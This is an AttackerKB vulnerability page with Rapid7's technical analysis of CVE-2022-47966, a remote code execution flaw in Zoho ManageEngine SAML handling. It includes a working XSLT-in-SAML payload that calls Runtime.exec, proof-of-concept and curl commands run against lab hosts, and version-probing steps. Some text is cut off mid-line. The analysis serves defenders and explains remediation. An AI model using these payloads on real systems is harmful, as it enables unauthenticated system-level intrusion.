AttackerKB sunset on August 18. Read our blog.

ATTACKER VALUE
VERY HIGH
(2 users assessed)

EXPLOITABILITY
MODERATE
(2 users assessed)

3

USER INTERACTION
None

CVE-2022-47966

Disclosure Date: January 18, 2023 · (Last upd

CVE-2022-47966 CVSS v3 Base Score: 9.8

Exploited in the Wild

Reported by mkienow-r7 and 4 more...
View Source Details

Report As Exploited in the Wild

Quick Cookie Notification

This site uses cookies for anonymized analytics to improve the site.

Rapid7 will never sell the data collected on this site.

I AGREE, LET'S GO!

View our Cookie Policy for full details

Watch This Topic

Watch this topic to be notified when new information, assessments, and comments are added

MITRE ATT&CK

Log in to add MITRE ATT&CK tag

Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Initial Access

TECHNIQUES	VALIDATION
Exploit Public-Facing Application	VALIDATED

Metasploit Module

exploit/windows/http/manageengine_endpoint_central_saml...
exploit/multi/http/manageengine_servicedesk_plus_saml_rce...
exploit/multi/http/manageengine_adselfservice_plus_saml_rc...

CISA KEV Listed | Common in enterprise | Easy to weaponize | Gives privileged access | Observed in ransomware attacks | Observed in state-sponsored attacks | Unauthenticated | Difficult to weaponize | Vulnerable in uncommon configuration

Description

Multiple Zoho ManageEngine on-premise products, such as ServiceDesk Plus through 14003, allow remote code execution due to use of Apache Santuario xmlsec (aka XML Security for Java) 1.4.1, because the xmlsec XSLT features, by design in that version, make the application responsible for certain security protections, and the ManageEngine applications did not provide those protections. This affects Access Manager Plus before 4308, Active Directory 360 before 4310, ADAudit Plus before 7081, ADManager Plus before 7162, ADSelfService Plus before 6211, Analytics Plus before 5150, Application Control Plus before 10.1.2220.18, Asset Explorer before 6983, Browser Security Plus before 11.1.2238.6, Device Control Plus before 10.1.2220.18, Endpoint Central before 10.1.2228.11, Endpoint Central MSP before 10.1.2228.11, Endpoint DLP before 10.1.2137.6, Key Manager Plus before 6401, OS Deployer before 1.1.2243.1, PAM 360 before 5713, Password Manager Pro before 12124, Patch Manager Plus before 10.1.2220.18, Remote Access Plus before 10.1.2228.11, Remote Monitoring and Management (RMM) before 10.1.41, ServiceDesk Plus before 14004, ServiceDesk Plus MSP before 13001, SupportCenter Plus before 11026, and Vulnerability Manager Plus

See More

Ratings & Analysis | Vulnerability Details | RAPID7 Analysis

Rapid7
January 20, 2023 11:11pm UTC (3 years ago)

Technical Analysis

Description

CVE-2022-47966 is an unauthenticated remote code execution vulnerability that affects two dozen Zoho ManageEngine products, including ADSelfService Plus, ServiceDesk Plus, and Password Manager Pro, all of which have been exploited in the wild over the past year. The vulnerability arises from an outdated dependency on Apache Santuario, which is itself vulnerable to remote code execution going back to 2008. Successful exploitation of vulnerable ManageEngine products requires the target system to have SAML-based SSO. Some implementations are only vulnerable if SAML-based SSO is currently active, and others merely require it to have been enabled at some point in the past. See Zoho's advisory for complete details on vulnerable products.

Rapid7's incident response team has confirmed multiple instances of exploitation in the wild in customer environments as of Thursday, January 19, 2023. Rapid7 observed exploitation as early as Tuesday, January 17, 2023. Security firm Horizon3 published technical details, including a proof of concept (PoC), on Thursday, January 19.

Important note: This analysis will demonstrate that while the product the public PoC targets (ServiceDesk Plus) seems to be exploitable without any special modifications, the other product we tested (ADSelfService Plus) requires an attacker to obtain and modify the PoC with two additional pieces of

ATTACKER VALUE
VERY HIGH

3

CVE-2022-47966

patches 2-3 months before releasing the advisory is unusual, and potentially gave adversaries a wide window while nobody was aware of the critical nature of these patches. See ManageEngine's advisory for specific product and version information.

The full list of affected ManageEngine products are:

- Access Manager Plus version 4307 and below*
- Active Directory 360 version 4309 and below**
- ADAudit Plus version 7080 and below**
- ADManager Plus version 7161 and below**
- ADSelfService Plus version 6210 and below**

- Application Control Plus version 10.1.2220.17 and below*
- Asset Explorer version 6982 and below**
- Browser Security Plus version 11.1.2238.5 and below*
- Device Control Plus version 10.1.2220.17 and below*
- Endpoint Central version 10.1.2228.10 and below*
- Endpoint Central MSP version 10.1.2228.10 and below*
- Endpoint DLP version 10.1.2137.5 and below*
- Key Manager Plus version 6400 and below*
- OS Deployer version 1.1.2243.0 and b
- PAM 360 version 5712 and below*
- Password Manager Pro version 1212
- Patch Manager Plus version 10.1.222
- Remote Access Plus version 10.1.222
- Remote Monitoring and Managem
- ServiceDesk Plus version 14003 and
- ServiceDesk Plus MSP version 1300
- SupportCenter Plus version 11017 to
- Vulnerability Manager Plus version

* Vulnerable if configured SAML-based SS
** Vulnerable if configured SAML-based S status.

Background

On October 25, 2022, Khoa Dinh from Viettel Cyber Security reported a number of security vulnerabilities in Zoho's ManageEngine products related to the usage of outdated libraries (specifically, Apache Santuario or `xmlsec`). Zoho began rolling out patches to their products to include the updated libraries a few days later, but didn't post a public advisory until a few months later in January, 2023.

Dinh's work, in turn, was based on earlier work from An Trinh of tint0, who wrote about some issues in Santuario in September of 2021. Trinh wrote about Santuario vulnerabilities in the context of an XML external entity injection (XXE) vulnerability in PingFederate (CVE-2021-41770).

Several different known vulnerabilities in Santuario are at play here:

- **CVE-2021-40690:** A vulnerability in the way Santuario parses XML that can bypass the `secureValidation` setting (Santuario versions before 2.2.3 and 2.1.7)
- **CVE-2014-0107:** A vulnerability in the Xalan XSLT parser that permits an attacker to instantiate an arbitrary class (Xalan versions prior to 2.7.2, which are still quite common)
- **Bugzilla 44629:** A vulnerability from 2008 where transformations were performed before signature validation (Santuario versions prior to 1.4.2)

Different versions of ManageEngine products use different versions of Santuario and/or Xalan, but the two that we tested (ADSelfService Plus 6122 and ServiceDesk Plus 14003) both used Santuario 1.4.1, so we will focus on that for the remainder of our analysis. The research from Dinh is much deeper than this one version of Santuario and is a great read!

Technical analysis

Santuario 1.4.1

Apache Santuario (also known as `xmlsec`) version 1.4.1, performs XSLT transformations prior to validating a message's signature, which can lead the execution of arbitrary Java code. This was fixed in 2008, but Zoho's software was still using a vulnerable dependency.

In the code below, we can see how the signature verification [2] is performed after the signature (`SignedInfo`) is verified [1]. That means that a malicious `XMLSignature` can have a `SignedInfo` field that contains XSLT transformations that execute arbitrary Java code when applied. Because the Signature verification occurs *after* this has happened, failing the signature check doesn't prevent the transformations from happening.

```
// xmlsec-1.4.1.jar!\org\apache\xml\security\signature\XMLSignature.class
  public boolean checkSignatureValue(Key paramKey) throws XMLSignatureException {
    if (paramKey == null) {
      Object[] arrayOfObject = { "Didn't get a key" };
      throw new XMLSignatureException("empty", arrayOfObject);
    }
    try {
      SignedInfo signedInfo = getSignedInfo();
      if (!signedInfo.verify(this._followManifestsDuringValidation)) // <-----  [1]
        return false;
      SignatureAlgorithm signatureAlgorithm = signedInfo.getSignatureAlgorithm();
      if (log.isDebugEnabled()) {
        log.debug("SignatureMethodURI = " + signatureAlgorithm.getAlgorithmURI());
        log.debug("jceSigAlgorithm    = " + signatureAlgorithm.getJCEAlgorithmString());
        log.debug("jceSigProvider     = " + signatureAlgorithm.getJCEProviderName());
        log.debug("PublicKey = " + paramKey);
      }
      signatureAlgorithm.initVerify(paramKey);
      SignerOutputStream signerOutputStream = new SignerOutputStream(signatureAlgorithm);
      UnsyncBufferedOutputStream unsyncBufferedOutputStream = new UnsyncBufferedOutputStream((OutputStream)signerOutputStream);
      signedInfo.signInOctectStream((OutputStream)unsyncBufferedOutputStream);
      try {
```

As seen in the public PoC, a malicious signature can be constructed that, via XSLT transformations, will construct an arbitrary `java.lang.Runtime` object instance and call the `exec` method to execute an attacker-supplied command. An attacker is not limited to executing arbitrary commands, and may construct a more complex Java-based payload (including a fully in-memory reverse shell).

```
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  <ds:SignedInfo>
    <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
    <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
    <ds:Reference URI="#_b5a2e9aa-8955-4ac6-94f5-334047882600">
      <ds:Transforms>
        <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
```



```
            <xsl:variable name="processString" select="ob:toString($process)"/>
            <xsl:value-of select="$processString"/>
          </xsl:template>
        </xsl:stylesheet>
      </ds:Transform>
    </ds:Transforms>
    <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
    <ds:DigestValue>H7gKuO6t9MbCJZujA9S7WlLFgdqMuNe0145KRwKl000=</ds:DigestValue>
```

Exploiting ADSelfService Plus

Exploiting CVE-2022-47966 against a vulnerable instance of ManageEngine ADSelfService Plus can be achieved with a small modification to the publicly available PoC. This modification includes the addition of a HTTP request parameter `RelayState`. There are two additional requirements an attacker must satisfy before being able to exploit the target:

- The attacker must know in advance a unique GUID value that has been created for the target server's SAML Service Provider
- The attacker must know in advance a custom `Issuer URL` used by the Identity Provider which has been configured as the SAML authentication provider for the target server

It's not immediately clear whether an atta to obtain them.

The remainder of this walkthrough target lfService Plus ships version 1.4.1 of [Apache Santuario](https://santuario.apac cussed above, is vulnerable to a remote code execution issue from 2008.

Is the target vulnerable?

We can query a target's version number t

```
curl -i -v -k https://172.30.132.194
```

The response will be a JSON object that p

```
{"DB_TYPE":"postgres","BUILD_NUMBER":"6122","BUILD_ARCHITECTURE":"64","RUNNING_AS_SERVICE":false,"HA_SUPPORTED":"true","PRODUCT_SEQ_NO":"ADSSP-
4-4A5RH563-1223578957895","PRODUCT_NAME":"ManageEngine ADSelfService
Plus","IS_BUNDLED_DB":"true","INSTALLED_AS_SERVICE":false,"PRODUCT_VERSION":"6.1","SERVICE_ACCOUNT_PRIVILEGED":true}
```

As per the ManageEngine advisory, any version prior to 6210 is vulnerable.

Running the exploit

We can run the exploit against a target in our lab as follows:

```
python CVE-2022-47966.py --command calc.exe --url https://172.30.132.194:9251/samlLogin/3899e6a9ab0f2b437448258c4c14eafdd8760add --issuer
https://ad.test-domain/saml/3899e6a9ab0f2b437448258c4c14eafdd8760add --relaystate https://172.30.132.194:9251/samlLogin/LoginAuth
```

As shown above the attacker must supply the unique GUID as part of the requested URL to the `/samlLogin` endpoint, as well as supplying a custom `Issuer URL`.

Stepping through the code

If we attach a debugger to the ADSelfService Plus service, we can step through exploitation to better understand what happens.

The HTTP POST request to the `/samlLogin/` endpoint will call `doPost` in the `SAMLIDPAuthServlet` class:

```
// ManageEngineADSFramework.jar!\com\manageengine\ads\fw\iamapps\handler\sso\idpauth\SAMLIDPAuthServlet.class
        protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String authFlow = null;
        String urlConfigId = null;
        String relayState = null;
        String uri = null;
        String contextPath = null;
        String reqMethod = null;
        String samlResponse = null;
        String errorPageUrl = null;
        String userName = null;
        String samlParamName = null;
        Boolean isValidUrl = false;

        JSONObject samlConfigParams;
        SAMLInterface samlAuthClass;
        try {
            errorPageUrl = SAMLIDPAuthHandler.getAuthParamValue("AUTH_ERROR_URL");
            uri = request.getRequestURI();
            contextPath = request.getContextPath().toString();
            samlParamName = uri.contains(SAMLIDPAuthHandler.getAuthParamValue("AUTH_LOGIN_URL")) ? "AUTH_LOGIN_URL" : "AUTH_LOGOUT_URL";
            urlConfigId = uri.replaceAll(contextPath + SAMLIDPAuthHandler.getAuthParamValue(samlParamName) + "/", "");
```

We can see from [1] above that the `authFlow` value is retrieved based on the request. This value is checked to be non-null in [2] before we can continue. The `authFlow` is determined by the provided `RelayState` parameter from the HTTP request and is configured to be mandatory (ie, the request must supply this parameter in order to continue). We then continue on to perform `validateSAMLResponse` [3].

```
// ManageEngineADSFramework.jar!\com\manageengine\ads\fw\iamapps\handler\sso\idpauth\SAMLIDPAuthHandler.class
    public static JSONObject validateSAMLResponse(HttpServletRequest request) throws Exception {
        Response samlResponse = null;
        Assertion assertion = null;
        Subject samlSubject = null;
        Status status = null;
        StatusCode statusCode = null;
        JSONObject userDetails = null;
        String samlNameID = null;
        String samlNameIDFormat = null;

        try {
            DefaultBootstrap.bootstrap();
```

ATTACKER VALUE
VERY HIGH

3

CVE-2022-47966

```
            (new StatusSchemaValidator()).validate(status);
            statusCode = status.getStatusCode();
            issuerUrl = statusCode.getValue();
```

We can see above [1] that the base64-encoded `SAMLResponse` parameter is retrieved from the HTTP request and the `Assertions` element from the `SAMLResponse` is retrieved [2]. The `Issuer URL` value is retrieved from the Assertion element [3] before being verified as the expected Issuer for the SAML response [4], as identified by the unique GUID supplied to the `/samlLogin/` endpoint. **If the Issuer is not the expected value, an exception will be raised and the request will not be processed further.** The signed Assertion element from the request can now be validated [5].

```
// ManageEngineADSFramework.jar!\com\manageengine\ads\fw\iamapps\handler\sso\idpauth\SAMLIDPAuthHandler.class
    public static void validateSignature(SignableXMLObject samlObject, JSONObject samlConfigDetails) throws SecurityException {
        KeySpec publicKeySpec = null;
        BasicX509Credential credential = new BasicX509Credential();

        try {
            String pubKey = samlConfigDetails.optString("PUBLIC_KEY", (String)null);
            if (!pubKey.contains("-----BEGIN CERTIFICATE-----")) {
                pubKey = "-----BEGIN
            } else {
                pubKey = pubKey.repla
            }

            byte[] certByte = pubKey.
            CertificateFactory certif
            InputStream certInputStre
            Certificate certificate =
            publicKeySpec = new X509E
            KeyFactory keyFactory = K
            PublicKey publicKey = key
            credential.setPublicKey(p
            SignatureValidator signat
```


Validation of the `Signature` element (from SignatureValidator class [1] which will proceed to call `checkSignatureValue` from mately fail; however, arbitrary code execution will have been achieved when t

Exploiting ServiceDesk Plus

Unlike ADSelfService Plus, **ServiceDesk Plus is exploitable using the public proof of concept with no special steps**, provided SAML authentication is (or has ever been) enabled. (To enable SAML, the setting is under Admin / Users & Permissions / SAML Single Sign On; we recommend using Mock SAML as a back end).

To demonstrate the exploit, we stripped down the XML payload to the minimum that executes a process (we moved the important XSLT to the left margin to stand out better):

```
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response ID="_eddc1e5f-8c87-4e55-8309-c6d69d6c2adf" InResponseTo="_4b05e414c4f37e41789b6ef1bdaaa9ff" IssueInstant="2023-01-
16T13:56:46.514Z" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
  <samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>
  <Assertion ID="_b5a2e9aa-8955-4ac6-94f5-334047882600" IssueInstant="2023-01-16T13:56:46.498Z" Version="2.0"
xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
    <Issuer>{issuer}</Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
      <ds:SignedInfo>
        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
        <ds:Reference URI="#_b5a2e9aa-8955-4ac6-94f5-334047882600">
          <ds:Transforms>
            <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
  <xsl:template match="/">
      <xsl:variable name="rtobject" select="rt:getRuntime()"/>
      <xsl:variable name="process" select="rt:exec($rtobject,'notepad.exe')"/>
      <xsl:variable name="processString" select="ob:toString($process)"/>
      <xsl:value-of select="$processString"/>
```

We can send this using `curl`:

```
[ron@fedora ~]$ curl -i 'http://10.0.0.216:8080/SamlResponseServlet' --data-urlencode "SAMLResponse="$(base64 -w0 < ~/shared/tmp/demo.xml)
[...]
HTTP/1.1 500
Location: /
vary: accept-encoding
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Date: Fri, 20 Jan 2023 22:07:48 GMT
Connection: close
Server: -
[...]
```

Then we can verify that notepad.exe is indeed running on the target (as the privileged `System` user, to boot)!

Guidance

The vulnerability should be remediated immediately, without waiting for a typical patch cycle. Any organization with a vulnerable ManageEngine service exposed to the public internet should examine their systems for signs of compromise in addition to remediating the vulnerability.

References

- Vendor advisory
- Discovery's disclosure blog
- Rapid7 blog
- Horizon3's writeup / PoC
- Horizon3's IoCs
- Previous research
- Xalan prevalence

ATTACKER VALUE
VERY HIGH

3

CVE-2022-47966